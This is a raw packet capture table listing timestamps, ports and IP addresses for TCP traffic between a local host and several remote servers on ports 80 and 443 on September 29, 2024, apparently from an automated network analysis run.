Sep 29, 2024 00:53:25.294378996 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.294384956 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.294397116 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.294446945 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.294550896 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.294554949 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.294595957 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.294601917 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.294609070 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.294625044 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.294625998 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.294631004 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.294636965 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.294667006 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.294692039 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.294711113 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.294976950 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.294982910 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.294995070 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.295037985 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.295063019 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.295150995 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.295160055 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.295175076 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.295180082 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.295186043 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.295191050 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.295197010 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.295202017 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.295203924 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.295208931 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.295214891 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.295221090 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.295227051 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.295233011 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.295239925 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.295245886 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.295253992 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.295265913 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.295269966 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.295269966 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.295272112 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.295269966 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.295281887 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.295288086 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.295295000 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.295295000 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.295304060 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.295312881 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.295319080 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.295321941 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.295332909 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.295373917 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.295373917 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.295380116 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.295396090 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.295402050 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.295427084 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.295444012 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.296345949 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.296353102 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.296359062 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.296370983 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.296376944 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.296382904 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.296390057 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.296420097 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.296474934 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.296763897 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.296772003 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.296778917 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.296833038 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.296943903 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.296951056 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.296957016 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.296971083 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.296977043 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.296982050 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.296988010 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.296993017 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.297013998 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.297013998 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.297028065 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.297028065 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.297034979 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.297043085 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.297049046 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.297056913 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.297063112 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.297069073 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.297075033 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.297079086 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.297080040 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.297086954 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.297087908 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.297095060 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.297100067 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.297106028 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.297107935 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.297116041 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.297122002 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.297127962 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.297128916 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.297136068 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.297147989 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.297158957 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.297166109 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.297180891 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.297205925 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.297208071 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.297209978 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.297259092 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.297295094 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.297301054 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.297307014 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.297337055 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.297337055 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.297344923 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.297344923 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.297374010 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.297384977 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.297570944 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.297576904 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.297583103 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.297630072 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.297636032 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.297657013 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.297816992 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.297823906 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.297831059 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.297836065 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.297847986 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.297863960 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.297866106 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.297871113 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.297877073 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.297883034 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.297894955 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.297895908 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.297903061 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.297907114 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.297914982 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.297923088 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.297923088 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.297931910 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.297938108 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.297944069 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.297951937 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.297951937 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.297965050 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.297971964 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.297976971 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.297981024 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.297985077 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.297992945 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.298006058 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.298008919 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.298012972 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.298019886 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.298024893 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.298033953 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.298058987 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.298284054 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.298304081 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.298350096 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.298353910 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.298365116 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.298367023 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.298410892 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.298418045 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.298424959 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.298450947 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.298465014 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.298468113 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.298475981 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.298484087 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.298491001 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.298496962 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.298501968 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.298508883 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.298516989 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.298532009 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.298554897 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.298666954 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.298676014 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.298682928 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.298722029 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.298733950 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.298741102 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.298747063 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.298774004 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.298897028 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.298903942 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.298918009 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.298940897 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.298949957 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.298991919 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.298991919 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.298993111 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.299002886 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.299009085 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.299043894 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.299051046 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.299087048 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.299097061 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.299112082 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.299164057 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.299169064 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.299190044 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.299236059 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.299269915 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.299283981 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.299334049 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.299340010 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.299350023 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.299410105 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.299580097 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.299596071 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.299663067 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.299663067 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.299669027 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.299702883 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.299711943 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.299716949 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.299731970 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.299737930 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.299743891 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.299748898 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.299751043 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.299762964 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.299778938 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.299803972 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.300060034 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.300076008 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.300131083 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.300131083 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.300137043 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.300270081 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.300276995 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.300283909 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.300292969 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.300297976 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.300306082 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.300312996 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.300318956 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.300332069 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.300340891 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.300349951 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.300393105 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.300393105 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.300398111 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.300421000 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.300421000 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.300474882 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.300527096 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.300543070 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.300595045 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.300595045 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.300601959 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.301172972 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.311451912 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.311541080 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.311546087 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.311552048 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.311563015 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.311568975 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.311575890 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.311582088 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.311610937 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.311628103 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.311649084 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.311654091 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.311706066 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.311713934 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.311733961 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.311741114 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.311745882 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.311747074 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.311754942 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.311762094 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.311773062 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.311801910 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.350085020 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.350111008 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.350192070 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.350192070 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.350203037 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.352854967 CEST	80	49705	45.91.200.135	192.168.2.9
Sep 29, 2024 00:53:25.352941036 CEST	49705	80	192.168.2.9	45.91.200.135
Sep 29, 2024 00:53:25.352945089 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.353091955 CEST	49705	80	192.168.2.9	45.91.200.135
Sep 29, 2024 00:53:25.355552912 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.355581999 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.355597019 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.355602980 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.355609894 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.355616093 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.355624914 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.355631113 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.355637074 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.355643034 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.355645895 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.355649948 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.355665922 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.355693102 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.355693102 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.355699062 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.355705023 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.355710030 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.355716944 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.355722904 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.355729103 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.355734110 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.355739117 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.355740070 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.355743885 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.355750084 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.355756044 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.355777025 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.355777025 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.355803013 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.355829000 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.355844975 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.355849981 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.355855942 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.355861902 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.355866909 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.355875015 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.355881929 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.355890036 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.355911016 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.355940104 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.355978966 CEST	80	49712	176.113.115.95	192.168.2.9
